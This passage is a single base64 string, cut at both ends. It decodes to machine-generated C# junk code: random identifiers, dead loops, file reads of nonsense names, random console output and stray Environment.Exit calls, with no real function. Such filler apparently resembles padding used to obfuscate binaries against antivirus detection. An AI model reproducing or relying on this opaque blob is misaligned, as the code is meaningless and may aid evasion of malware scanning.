mcgSWtlQ3lDdW8gPSA1MTM3OTAyMTM0MDg1NjA0MTsgCnVsb25nIE1ReGtYT1ByID0gODEzMTA4NDg2OTMxNjU0ODU7IApzaG9ydCBiQXBnRHJkVCA9IC05MDE2OyAKIGJ5dGVbXSBiQXBnRHJkVGJBcGdEcmRUID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJiQXBnRHJkVCIpO2Zsb2F0IG1tTmtUU1JYID0gLTAuNjg5OTE3N0Y7IApsb25nIG9nVXlBaVRBID0gMjMxMzU1NDA0OTIzODc3OTc7IApkb3VibGUgcHRiVUxFU3QgPSAxLjI4MTY2MUUtMjE7IAp3aGlsZShwdGJVTEVTdCA9PSA5LjMzNzA0OUUrMjcpew0KcHRiVUxFU3QgPSBNYXRoLlBvdyhkb3VibGUuTmVnYXRpdmVJbmZpbml0eSwgMik7DQpvYmplY3Qgc21KWVJ2TVl3Umk7DQpzbUpZUnZNWXdSaSA9IC0xLjc1MDAyOEUrMjk7DQp9DQp9cHVibGljIHZvaWQgU0xrRmtBU20oKXsNCmRvdWJsZSB5dWRVc2hDRyA9IDQuNDU5NDA1RS0wNjsgCmRvdWJsZSBTUWZaTVZQbnR4dE9jemdlbmVuT2VEID0gLTQuMDYyOTExRSsyMTsNCnl1ZFVzaENHID0gU1FmWk1WUG50eHRPY3pnZW5lbk9lRCAvIDM7DQpsb25nIElaWXZ3UUprID0gODA3MjcxNDc3MzY4OTU2MTg7IApzaG9ydCBPZHVwRXZueSA9IDgyODI7IAogYnl0ZVtdIE9kdXBFdm55T2R1cEV2bnkgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIk9kdXBFdm55Iik7dXNob3J0IEVIRGxpa2RmID0gNDY1NTg7IApsb25nIGdSbXpjS2hnID0gNTA4MTQ3MTMzODI2NDE4MDA7IApkb3VibGUgQ2xDeGFpSGggPSAtMS40OTI1MDJFLTE2OyAKd2hpbGUoQ2xDeGFpSGggPT0gLTQuODM4OTMyRS0wOSl7DQpDbEN4YWlIaCA9IE1hdGguUG93KGRvdWJsZS5NaW5WYWx1ZSwgZG91YmxlLk1heFZhbHVlKTsNCnRyeXsNCg0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn0NCn1sb25nIEFJZkpQRnpNID0gNDk1MjI1MjUyOTIwMzYwOTE7IApsb25nIElVWnBZbVllID0gNjEzNTExOTA3OTUwMjM0NzY7IAoNCn1wdWJsaWMgdm9pZCBqYmVMQkVERygpew0Kc3RyaW5nIHJGRXJ3bHpKID0gIkJPVE9VdXJFIjsgCiBDb25zb2xlLldyaXRlTGluZShyRkVyd2x6Sik7dWludCBDcVVYaURsSiA9IDE5OyAKdXNob3J0IExpYnRBTWJaID0gNTc3NDsgCnNieXRlIHZCRE9FTmtQID0gIC0yMDsgCiBDb25zb2xlLlJlYWRMaW5lKCk7Ynl0ZSBNQ3VzaHNQdSA9ICAxNDQ7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtsb25nIGt6T3Z5b0ZHID0gODU3NjU5MzQ2Mjg1Njg3MTQ7IApzYnl0ZSBiZkNpR25NSSA9ICAtMTI1OyAKIENvbnNvbGUuUmVhZExpbmUoKTtieXRlIGxlSlNzY1R3ID0gIDEwOTsgCiBFbnZpcm9ubWVudC5FeGl0KDApOw0KfQp9IHB1YmxpYyBjbGFzcyBqZk9GU0NFRntwdWJsaWMgdm9pZCBCeHlkU3Z4YSgpew0KbG9uZyBQSUZTUkh6QiA9IDMzNjEwMTE4MDA2MTU1Mzg4OyAKaW50IHZER0NCQVNOID0gMzk0OTc3Njc4OyAKd2hpbGUodkRHQ0JBU04gPT0gMzk0OTc3Njc4KXsNCnZER0NCQVNOICs9IDQ5NzEzODsNCn11c2hvcnQgY05RY2xic2UgPSAzOTk1NzsgCnVzaG9ydCBsTE5HUmVxaSA9IDM0MzI7IApzaG9ydCBqVWd6ZmlYaSA9IDI1MDk1OyAKIGJ5dGVbXSBqVWd6ZmlYaWpVZ3pmaVhpID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJqVWd6ZmlYaSIpO3NieXRlIFZIVkpHZURhID0gIDkwOyAKIENvbnNvbGUuUmVhZExpbmUoKTt1bG9uZyBlY1JFb2ZSRSA9IDI0Nzg5MzY3Njc2MTUzNjc3OyAKbG9uZyBsbFpVbFZmQSA9IDgyNTkwNDcyMzk0NTM1MTgwOyAKDQp9cHVibGljIHZvaWQgZHJRUmJwcUMoKXsNCmZsb2F0IEVTekVCTUFwID0gNS4wMzcxNjNFKzI0RjsgCmJ5dGUgTU5TSW5lc3cgPSAgMzM7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1aW50IFVxbXpBZ2F3ID0gNzEwNzg7IApsb25nIHV0aGROdmpqID0gNjczMDY3MjI3MDc1NjU5Nzk7IApzaG9ydCBmRlVKa3NjSiA9IC03Mzk4OyAKIGJ5dGVbXSBmRlVKa3NjSmZGVUprc2NKID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJmRlVKa3NjSiIpO2xvbmcgVmZ5YU1McFggPSA3ODIzNjUzNTYyMDQxMjE2NjsgCmZsb2F0IGhFV1lxQkZsID0gLTYuMzM1NDEyRS0yN0Y7IApzaG9ydCBrUHlDcXpjRiA9IC0xNjIzODsgCiBieXRlW10ga1B5Q3F6Y0ZrUHlDcXpjRiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygia1B5Q3F6Y0YiKTsNCn1wdWJsaWMgdm9pZCBIVW9qVmlFaCgpew0Kc3RyaW5nIFpIQ2dFeWZZID0gInBnUWppS0V3IjsgCiBDb25zb2xlLldyaXRlTGluZShaSENnRXlmWSk7Ynl0ZSBJc1lPVUFwciA9ICAxNzU7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1aW50IEZxVHFKd1NYID0gODM7IAp1aW50IG5HQUx1VUZvID0gNTU7IApieXRlIHpGdHNkcGFBID0gIDM1OyAKIEVudmlyb25tZW50LkV4aXQoMCk7bG9uZyBtVW9nTmFFSyA9IDU0MzQyNjMwMjU5MzU5NzA7IApzYnl0ZSBtaWxBQVBLZyA9ICA0MjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7aW50IHJhamR6dm1FID0gMzIxODUyOyAKd2hpbGUocmFqZHp2bUUgPT0gMzIxODUyKXsNCnJhamR6dm1FID0gNDc4MjUyOw0KfQ0KfXB1YmxpYyB2b2lkIFBPdnVUZ2ZrKCl7DQppbnQgckNvVHpzTXogPSA5NDc3NjQ0MTsgCndoaWxlKHJDb1R6c016ID09IDk0Nzc2NDQxKXsNCnJDb1R6c016ID0gckNvVHpzTXogKyA5NTE3OTY7DQp9c2hvcnQga3RvbmpySGUgPSAtMjg0ODA7IAogYnl0ZVtdIGt0b25qckhla3RvbmpySGUgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoImt0b25qckhlIik7c3RyaW5nIGhGcFRzRmdwID0gImR3TUhMRUhLIjsgCiBDb25zb2xlLldyaXRlTGluZShoRnBUc0ZncCk7dWxvbmcgZ0ZjcGVsdkwgPSA0MTM5NzkyNzI2MjY1MTM0MDsgCnVzaG9ydCBNSGtKY2RMZyA9IDI3NTY4OyAKZmxvYXQgZ0t6R3hrRWsgPSAtMi4zODU4NDRFKzA4RjsgCmxvbmcgTlJaRXFFeUggPSA0MjUwOTM3ODMyNzg5OTg5ODsgCnVsb25nIGlNVUtST25lID0gNTQ5MjE4ODYzOTg2MDk2NzU7IAoNCn1wdWJsaWMgdm9pZCBsQlJLVml5cCgpew0KZmxvYXQgaHRxbGh3dG4gPSAtMS4yMjUwNTlFKzE2RjsgCnVsb25nIGV5aGNza2ljID0gNzI4MjkzNDA0NjU5NTE3MTY7IAp1c2hvcnQgYmNXWmlwbEkgPSA2MzkyOTsgCnVpbnQgVElLU0doc0UgPSA3MjQ3NzAwOTsgCnVsb25nIG1TaE9YaGVVID0gNDQxNTI4MTc4ODU4NDEwMTc7IApzdHJpbmcgaXJpamR3V08gPSAiUW9ySnNyU24iOyAKIENvbnNvbGUuV3JpdGVMaW5lKGlyaWpkd1dPKTt1bG9uZyBFWmRaUGd5ZSA9IDMzMzk4OTE1NTIwNTUzMTg4OyAKbG9uZyB1d3JFeWVRbSA9IDU4NzQyMTY5MzI0NzIyMTYzOyAKDQp9cHVibGljIHZvaWQgc2Z6ZlJ2Q2MoKXsNCnNieXRlIGdYZ2xaRWJJID0gIDI1OyAKIENvbnNvbGUuUmVhZExpbmUoKTtzaG9ydCBNQ2l1UXRQbCA9IC0yNTc2OyAKIGJ5dGVbXSBNQ2l1UXRQbE1DaXVRdFBsID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJNQ2l1UXRQbCIpO2xvbmcgb2JUa09CQ0EgPSAyNTc2MTUzODE0MTY1OTc0MDsgCmZsb2F0IHBQQkthbUFTID0gNC40MjA4NTVFLTM1RjsgCnVsb25nIENXVkJ4TE1TID0gMTc2MTA1MzY4ODg1NTY1MTE7IApzYnl0ZSBXTWZnY3VZTyA9ICAtNjk7IAogQ29uc29sZS5SZWFkTGluZSgpO2ludCBMd21PRWtNVyA9IDQwOyAKaWYoTHdtT0VrTVcgPT0gMjQxMTMpew0KTHdtT0VrTVcgPSA5NTcyOTM7DQp9Ynl0ZSBkVUtvTVloTiA9ICAzOTsgCiBFbnZpcm9ubWVudC5FeGl0KDApOw0KfXB1YmxpYyB2b2lkIGZaY2RPdHVCKCl7DQpieXRlIGhxRGdLQmxVID0gIDIxNDsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2RvdWJsZSBnRHZ1bWxqZiA9IC0xLjM2NzE3NUUtMjM7IAp3aGlsZShnRHZ1bWxqZiA9PSAxLjY4NjU0NUUtMDkpew0KZG91YmxlIEtMVGtlTVFsb0tuaU8gPSBNYXRoLklFRUVSZW1haW5kZXIoMywgNCk7DQpnRHZ1bWxqZiA9IEtMVGtlTVFsb0tuaU87DQpDb25zb2xlLldyaXRlKGdEdnVtbGpmLlRvU3RyaW5nKCkpOw0KfWRvdWJsZSBacmZYWGZacyA9IC0zLjU3NjU1MkUtMjU7IAppZihacmZYWGZacyA9PSAtMi4wMjIwNjFFLTEwKXsNClpyZlhYZlpzID0gTWF0aC5DZWlsaW5nKE1hdGguQXRhbigtNSkpOw0KIGJvb2w/IHRtY1VJckJ6ID0gbmV3IGJvb2w/KCk7DQp0bWNVSXJCeiA9IHRydWU7DQp9Ynl0ZSBiQU9oUFR1UCA9ICA3NDsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2ludCBpRGhxaVBsYiA9IDc3NjQzNDsgCmlmKGlEaHFpUGxiID09IDM4MjExOCl7DQppRGhxaVBsYiA9IDE4ODMxNTsNCn11bG9uZyBXTExYSkpMcyA9IDQwODI3MzM4MzE5MDI0MjkxOyAKdXNob3J0IFloalhrTkJFID0gMjk3MjA7IAp1aW50IGlNaExxblVqID0gOTA3MjIwOTg2OyAKDQp9cHVibGljIHZvaWQgY2t5SExJb3goKXsNCmludCBtTktUVFR4ZSA9IDYxOyAKd2hpbGUobU5LVFRUeGUgPT0gNjEpew0KbU5LVFRUeGUgKz0gMTI3NTMxOw0KfXNob3J0IHdETG1NeEljID0gMTA0OTg7IAogYnl0ZVtdIHdETG1NeEljd0RMbU14SWMgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIndETG1NeEljIik7dXNob3J0IFFTY3hoZnVlID0gNDAzMjA7IApkb3VibGUgcm5ST0R4bU8gPSAtMy41MDE4MjhFLTA3OyAKaWYocm5ST0R4bU8gPT0gLTUuMTUzNzQ5RS0yMCl7DQpyblJPRHhtTyA9IE1hdGguUG93KGRvdWJsZS5NaW5WYWx1ZSwgZG91YmxlLk1heFZhbHVlKTsNCg0KfWZsb2F0IEFnTkNiT0l5ID0gOS41NTAwNjlFLTEyRjsgCnNieXRlIHdiQ2x3QWZvID0gIDc1OyAKIENvbnNvbGUuUmVhZExpbmUoKTtkb3VibGUgaW9HbW1VRkYgPSA5LjMzMjUzNkUtMzg7IAppb0dtbVVGRiA9IE1hdGguRXhwKDIpOw0KaW50PyB4QXRKakpWV0luYVZwS1Z3UHpWb0FWc0NlZGQgPSAyMjE5MzM5Ow0KeEF0SmpKVldJbmFWcEtWd1B6Vm9BVnNDZWRkICs9IDEzODI5O3N0cmluZyBqUVFOdG5LZSA9ICJ0Z3ZKZ3lUSyI7IAogQ29uc29sZS5Xcml0ZUxpbmUoalFRTnRuS2UpOw0KfQp9IHB1YmxpYyBjbGFzcyBKY25HZWd1eXtwdWJsaWMgdm9pZCByTFp0UVFrQSgpew0Kc2hvcnQgelFPeUxNaGMgPSAyNjg4NDsgCiBieXRlW10gelFPeUxNaGN6UU95TE1oYyA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygielFPeUxNaGMiKTtzYnl0ZSBLU3F4c0FNZSA9ICAxMDc7IAogQ29uc29sZS5SZWFkTGluZSgpO3Vsb25nIGtPS3VrY0JDID0gMzkwNDQ3MzY5MTIyNjU0NjQ7IApmbG9hdCBuTEFBSHB2dCA9IDQuMzM4NzNFLTM1RjsgCmJ5dGUgRVVOcVJrRGQgPSAgMjI4OyAKIEVudmlyb25tZW50LkV4aXQoMCk7ZG91YmxlIHBLcktWcGh5ID0gNS41MzI0OTJFLTE0OyAKd2hpbGUocEtyS1ZwaHkgPT0gLTIuNzkyNDA3RS0zMil7DQpwS3JLVnBoeSA9IE1hdGguQ2VpbGluZyhNYXRoLlRhbmgoMC4xKSk7DQoNCn1ieXRlIFJUb3RzamZlID0gIDExOyAKIEVudmlyb25tZW50LkV4aXQoMCk7dWxvbmcgQ1VjWFhyaEUgPSAxNzk4ODMwNDYzOTM0MDQzMDsgCg0KfXB1YmxpYyB2b2lkIGtreWZSeHJDKCl7DQpzYnl0ZSB0allBck55VyA9ICAxMTE7IAogQ29uc29sZS5SZWFkTGluZSgpO2J5dGUgRkVqRXpTVXkgPSAgMTUyOyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2J5dGUgclJEVGpob3cgPSAgNTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7ZmxvYXQgeHdFeGhqZFcgPSAwLjAwNzgwNjcwMUY7IAp1aW50IHRQdkxkeUlVID0gODg4MTA0Nzc2OyAKdWludCBRZ0dQRVh1aCA9IDI7IApzdHJpbmcgWUlnVklZREwgPSAiQ2lSckxPd3oiOyAKIENvbnNvbGUuV3JpdGVMaW5lKFlJZ1ZJWURMKTt1c2hvcnQgZkd4aUFGYm8gPSAzMjczODsgCg0KfXB1YmxpYyB2b2lkIGR3eFh1RXR5KCl7DQpzdHJpbmcgUkdGR0lUVVMgPSAidlJjc0JhdVQiOyAKIENvbnNvbGUuV3JpdGVMaW5lKFJHRkdJVFVTKTt1c2hvcnQga1lkc0FjWmkgPSAyOTE3NzsgCmludCBxbHduSEdrdyA9IDc2OyAKd2hpbGUocWx3bkhHa3cgPT0gNzYpew0KcWx3bkhHa3cgKz0gODA4Mzg4Ow0KfWludCBDRlNuSkVYTCA9IDk4Mzc7IAppZihDRlNuSkVYTCA9PSAyNTQ2Njkpew0KQ0ZTbkpFWEwgKz0gMzA4Mjc0Ow0KfWJ5dGUgZlhtbU9EdEggPSAgMTQ2OyAKIEVudmlyb25tZW50LkV4aXQoMCk7Ynl0ZSBEQlB4VFRCRiA9ICAzMDsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3VpbnQgSXpYQ09YS0UgPSAzNTU1NjA4MjsgCnNieXRlIFZQSVFSa2dsID0gIC0yNjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7DQp9cHVibGljIHZvaWQgTGhrQ01uRnkoKXsNCmRvdWJsZSBBWXpFdnR1RiA9IC0zLjg5NTU0NUUtMzU7IApkb3VibGUgdkxsVnFWZ3dvVCA9IC01LjE3MzUyNUUtMjE7DQp2TGxWcVZnd29UID0gTWF0aC5TcXJ0KDMpOw0KQVl6RXZ0dUYgPSB2TGxWcVZnd29UOw0KaW50PyBERWJjY3NjR1p6QkxQTUNvVkZRQ0NWWHdsRW8gPSA1Mjg1MTIxOw0KREViY2NzY0daekJMUE1Db1ZGUUNDVlh3bEVvICs9IDIxNDIzO3VpbnQgdklhaHhidm8gPSA5NDkzMDQwMzsgCnVsb25nIENDSXVWb0RPID0gMjg5MTgwMjE0MTE2NTEzMDg7IAp1c2hvcnQgenhEZkZPd1YgPSAxNDM5NDsgCnNieXRlIEVVUXNJYmF5ID0gIDExMDsgCiBDb25zb2xlLlJlYWRMaW5lKCk7c2hvcnQgZ05oc3RRTHUgPSAxMTA1OyAKIGJ5dGVbXSBnTmhzdFFMdWdOaHN0UUx1ID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJnTmhzdFFMdSIpO3NieXRlIEFyc1FqS1hqID0gIDI0OyAKIENvbnNvbGUuUmVhZExpbmUoKTtzdHJpbmcgZEdGQ0FDaHogPSAidXBYQnZJSGQiOyAKIENvbnNvbGUuV3JpdGVMaW5lKGRHRkNBQ2h6KTsNCn1wdWJsaWMgdm9pZCBRT1lXR2duSigpew0KZmxvYXQgdGxzVXhkeGggPSA0LjQ2NDYzNEUrMjdGOyAKZmxvYXQgRGZuSkxmZ0YgPSAyLjQ2ODMxMkUtMzZGOyAKc2hvcnQgbnhLUFhoRnMgPSAtMjg3OTc7IAogYnl0ZVtdIG54S1BYaEZzbnhLUFhoRnMgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIm54S1BYaEZzIik7aW50IEZuZXJkTk1pID0gMjAxNjU1OyAKaWYoRm5lcmROTWkgPT0gNzc1MTYzKXsNCkZuZXJkTk1pID0gRm5lcmROTWkgKyA3OTU3NjE7DQp9dWludCB2Z29LQnZPRyA9IDUxMDAyOTQ0OyAKaW50IGhWUmRWQXVSID0gMTg5NjsgCmlmKGhWUmRWQXVSID09IDE5Nzc2Nil7DQpoVlJkVkF1UiArPSAxNTExNTg7DQp9dWxvbmcgaXFEaGVZSWwgPSA0NTU3NTExMzk2MjczMzQ3ODsgCmJ5dGUgcmdTZnl4QnIgPSAgMjQ4OyAKIEVudmlyb25tZW50LkV4aXQoMCk7DQp9cHVibGljIHZvaWQgbHhRVmROS1IoKXsNCnVsb25nIEtVTkp4Tk9kID0gNzg4MzQwODY1MzQ0MTQyNjM7IApzYnl0ZSBjZWhkRk9wSyA9ICAxMDQ7IAogQ29uc29sZS5SZWFkTGluZSgpO2RvdWJsZSBMZUxmUWxEQSA9IDEuMTA2MDk4RS0xMTsgCmRvdWJsZSBvQkdoQ1p4a01zTVZwWWl4TlpnU1ltQ3FXVHhqTSA9IC0yLjAyMTJFKzIwOw0KTGVMZlFsREEgPSBvQkdoQ1p4a01zTVZwWWl4TlpnU1ltQ3FXVHhqTSAqIDI7DQppbnQ/IEhzZENKSlBPenZRID0gMzk1MTkzOTsNCkhzZENKSlBPenZRICs9IDI0MjI4O2RvdWJsZSBsblRZY3pMYyA9IDQuNTUzNzMzRS0yNjsgCmlmKGxuVFljekxjID09IC0zMTc2NjAwKXsNCmxuVFljekxjID0gTWF0aC5UcnVuY2F0ZShsblRZY3pMYyk7DQpDb25zb2xlLlJlYWRLZXkoKTsNCn1ieXRlIEZ1eHVUV0Z0ID0gIDEwODsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2xvbmcgS0pFaUNsb1AgPSA4MDQ3OTMzNzA3Nzc1NjE5MzsgCnVzaG9ydCBISWxPVXFVUyA9IDkxNjk7IApzYnl0ZSBLeldWR2l3VyA9ICAtNzk7IAogQ29uc29sZS5SZWFkTGluZSgpOw0KfXB1YmxpYyB2b2lkIGlITGh0ZmdnKCl7DQpzaG9ydCBjSHBJRlNFaCA9IDE5NDkzOyAKIGJ5dGVbXSBjSHBJRlNFaGNIcElGU0VoID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJjSHBJRlNFaCIpO2J5dGUgb0ZkWkp3Z0EgPSAgMjIxOyAKIEVudmlyb25tZW50LkV4aXQoMCk7c3RyaW5nIHVIQkRDcnhJID0gInBYS1FIVk13IjsgCiBDb25zb2xlLldyaXRlTGluZSh1SEJEQ3J4SSk7aW50IEJMcVF4VERGID0gNDQwNzsgCndoaWxlKEJMcVF4VERGID09IDQ0MDcpew0KQkxxUXhUREYgPSBCTHFReFRERiArIDgxNzk0MTsNCn1zaG9ydCBWSUlnZFF2eCA9IC0yMTI5MDsgCiBieXRlW10gVklJZ2RRdnhWSUlnZFF2eCA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiVklJZ2RRdngiKTtieXRlIGdybHJBZXlkID0gIDQ7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1c2hvcnQgd3Z6bFVLUlogPSAzMDE5NTsgCmZsb2F0IEVaVE9xbnlVID0gMS40MzA0MTJFKzE1RjsgCg0KfXB1YmxpYyB2b2lkIFdmSE5pcExzKCl7DQpzYnl0ZSBqTlJCeFFZUSA9ICAtMTU7IAogQ29uc29sZS5SZWFkTGluZSgpO2xvbmcgcW9jR3dxTVUgPSA0MTM2MDk4NjY3ODIwMzIzNDsgCmRvdWJsZSB5TmNmbGpiRCA9IDYuNDUzNDEzRSsxODsgCndoaWxlKHlOY2ZsamJEID09IC0yLjM1MDQ1RS0xNCl7DQp5TmNmbGpiRCA9IE1hdGguUG93KGRvdWJsZS5NaW5WYWx1ZSwgZG91YmxlLk1heFZhbHVlKTsNCkNvbnNvbGUuUmVhZEtleSgpOw0KfXNob3J0IHVhQ0NiZ2lmID0gLTEyODA2OyAKIGJ5dGVbXSB1YUNDYmdpZnVhQ0NiZ2lmID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJ1YUNDYmdpZiIpO3NieXRlIGloRk1FUkp5ID0gIDEyNjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7aW50IG5CckhId1BGID0gNjAzNDE4NzI7IAp3aGlsZShuQnJISHdQRiA9PSA2MDM0MTg3Mil7DQpuQnJISHdQRiA9IG5CckhId1BGICsgMzkxNzEwOw0KfWxvbmcgcHBjWW1OeUcgPSAzMjc0ODc5MzA0NTcxNjAwMjsgCnN0cmluZyBIWmFuc255aCA9ICJXVHNNa1ZucCI7IAogQ29uc29sZS5Xcml0ZUxpbmUoSFphbnNueWgpOw0KfQp9IHB1YmxpYyBjbGFzcyBjdnVXSERQdXtwdWJsaWMgdm9pZCBETlpmSnNVRSgpew0KdWludCBYQkp6RGZqeCA9IDM2MjY4MjY2OyAKc2hvcnQgcWZGQVRCd1UgPSAtMzI0ODk7IAogYnl0ZVtdIHFmRkFUQndVcWZGQVRCd1UgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoInFmRkFUQndVIik7Ynl0ZSB2cm9PbFBtcyA9ICAxMTk7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtpbnQgZ0NRb1d5SmwgPSAyODg4NjY7IAppZihnQ1FvV3lKbCA9PSAxMDc5OTEpew0KZ0NRb1d5SmwgPSAzMzA3MTc7DQp9Ynl0ZSBWZHZyaEpoUiA9ICAyMjM7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzdHJpbmcgRUZUVk9jWUkgPSAiZE9NbXpna2UiOyAKIENvbnNvbGUuV3JpdGVMaW5lKEVGVFZPY1lJKTtmbG9hdCBkRkhyWE9KaCA9IDkuNzg4NzI5RSszMEY7IAp1bG9uZyBSR1NweWlYcyA9IDYzNTU0NTAxNTQ0MDI1ODczOyAKDQp9cHVibGljIHZvaWQgWFNHWU9pQWQoKXsNCmRvdWJsZSBGVE5OSVFISyA9IC0yNDAuMzg4MTsgCndoaWxlKEZUTk5JUUhLID09IC0yLjg4OTY3NEUrMzUpew0KRlROTklRSEsgPSBNYXRoLkNlaWxpbmcoTWF0aC5UYW5oKDAuMSkpOw0KaW50PyBydEtadXpqUHFxRk9yYWVEcmVVID0gNDY1MDI1MjsNCnJ0S1p1empQcXFGT3JhZURyZVUgKz0gNzQzODM7DQp9dXNob3J0IHlrR3duZWNUID0gMzczNTk7IApmbG9hdCBOclFJb1JPVSA9IC0xLjA4NDAyMkUrMjBGOyAKdXNob3J0IHFHWHBRSEd3ID0gNTczNzk7IApmbG9hdCBXelJRV3dzRCA9IC01LjI5ODU0NUUrMjVGOyAKdWludCBUS0VXUk1MRCA9IDc0NTsgCmludCBTcVRxZGdIZCA9IDQ0ODgwNDUwOyAKaWYoU3FUcWRnSGQgPT0gMTc4NDExKXsNClNxVHFkZ0hkID0gU3FUcWRnSGQgKyAyNTQwMzA7DQp9dWxvbmcgUmlQSEpDRksgPSAzNzcwOTg4MjA4Mjg0NzY3MzsgCg0KfXB1YmxpYyB2b2lkIE5LWmNqVlJ2KCl7DQpzYnl0ZSBmTXZWZ3dEVSA9ICA5MDsgCiBDb25zb2xlLlJlYWRMaW5lKCk7dWxvbmcgbnF2eHd4amogPSA2NDQzMjk3OTg3OTkyOTcyNTsgCnVzaG9ydCB0Q0FQV1NKUyA9IDYzMTIyOyAKZG91YmxlIFBnSG1OUm9DID0gLTEuNjU3NjQ4RSswOTsgClBnSG1OUm9DID0gTWF0aC5DZWlsaW5nKE1hdGguVGFuaCgwLjEpKTsNCnNieXRlIFJpbVZSdVJIID0gIDY0OyAKIENvbnNvbGUuUmVhZExpbmUoKTtsb25nIHRNUVNjZmR6ID0gNzYyNDE2MjQ0NTk4OTQzMDQ7IApzYnl0ZSBic3JEV2ltbSA9ICAtMTExOyAKIENvbnNvbGUuUmVhZExpbmUoKTtmbG9hdCBEamJBWmhqaSA9IDAuMDA3Mjc5NzY2RjsgCg0KfXB1YmxpYyB2b2lkIEFXemJmeFRuKCl7DQp1c2hvcnQgeVR4Z21hTlEgPSAxMjg4NTsgCnNieXRlIGJjdFdSdk1IID0gIDEwNjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7ZG91YmxlIEF6cnhWRmpjID0gLTQuMDQwNDMzRS0yNzsgCndoaWxlKEF6cnhWRmpjID09IC0zLjAyNTAzRS0yNyl7DQpkb3VibGUgU3NadmpTcUdEUk8gPSAtMS4yNTY1OThFKzM3Ow0KQXpyeFZGamMgPSBNYXRoLlJvdW5kKFNzWnZqU3FHRFJPICwxLE1pZHBvaW50Um91bmRpbmcuVG9FdmVuKTsNCnRyeXsNCmludCBrb1NtSFRHZCA9IDg0NTg1MDsNCmlmKGtvU21IVEdkID09IDE0NDcyKXsNCmtvU21IVEdkKys7DQp9ZWxzZXsNCmtvU21IVEdkLS07DQp9DQp9Y2F0Y2goRXhjZXB0aW9uIGV4KXsNCg0KfQ0KfWZsb2F0IFZhQW5JVG5JID0gMy42NTYyMDVFKzM1RjsgCnVsb25nIGFDbU9Sa0l6ID0gNTQ0OTc4Nzg3NzE1MjAxMzM7IAppbnQgeW9MVENpS1cgPSAzMjIwOTM0NzY7IAp3aGlsZSh5b0xUQ2lLVyA9PSAzMjIwOTM0NzYpew0KeW9MVENpS1cgPSA3Mjc5ODU7DQp9Ynl0ZSBxa0NhZGNwQyA9ICA1NTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2Zsb2F0IElsV29pZ25PID0gLTI0Mi4wNjM3RjsgCg0KfXB1YmxpYyB2b2lkIFRYWWJKcWRrKCl7DQpmbG9hdCBYa0NUSmliciA9IDIuNTYwNTI3RS0zNUY7IApzaG9ydCBudkdCcHpORCA9IC0yMzE4NjsgCiBieXRlW10gbnZHQnB6TkRudkdCcHpORCA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygibnZHQnB6TkQiKTtkb3VibGUgcmpVeVhSZXIgPSAtMS41NTYxMTdFKzIyOyAKd2hpbGUocmpVeVhSZXIgPT0gLTQuMDYxNzk4RSszNil7DQpyalV5WFJlciA9IE1hdGguQ2VpbGluZyhNYXRoLlRhbmgoMC4xKSk7DQppbnRbXSBaZURIbm5PbVBRSER0eXFrYkh0enNPc1YgPSB7IDQ5MzMzMDIgLCAxNjE0MSB9IDsNClJhbmRvbSBHRUFTR2xZQUtSWldxamJFZExSPSBuZXcgUmFuZG9tKCk7DQpDb25zb2xlLldyaXRlTGluZShaZURIbm5PbVBRSER0eXFrYkh0enNPc1ZbR0VBU0dsWUFLUlpXcWpiRWRMUi5OZXh0KDAsMildKTsNCn1zYnl0ZSBJVHF4SXNxQSA9ICA4NDsgCiBDb25zb2xlLlJlYWRMaW5lKCk7dWxvbmcgS1JBZXRReGcgPSA2NTYyMTk3MTUxNjQwNDY4NTsgCmJ5dGUgWUtGc2R2YmogPSAgMzM7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtmbG9hdCBOT2t2eXVISiA9IC02LjY5NDI5MkUrMjJGOyAKdXNob3J0IE5ZV2pPR2pUID0gMTgxMzA7IAoNCn1wdWJsaWMgdm9pZCBqd3FSVmNDcigpew0Kc3RyaW5nIEFQeGxZbUJaID0gInBHeHlQYUdzIjsgCiBDb25zb2xlLldyaXRlTGluZShBUHhsWW1CWik7bG9uZyBJSlRmQXdlRyA9IDU4NDQwOTY5ODA5MDQ4NjcwOyAKYnl0ZSBmUUNobUlpayA9ICAxMTI7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1c2hvcnQgeUFwTW53U08gPSA1NTE2MDsgCmxvbmcgdHFCRkZFbk4gPSAxNDc5NjAxNDQxMTkyMjMwMzsgCmxvbmcgTGRFSkRmR2kgPSA2MjA5NDY3MjUzMDYzMDkwMDsgCmludCB2bHdoY0h6SyA9IDI5OTsgCmlmKHZsd2hjSHpLID09IDQ3MjIxMil7DQp2bHdoY0h6SyA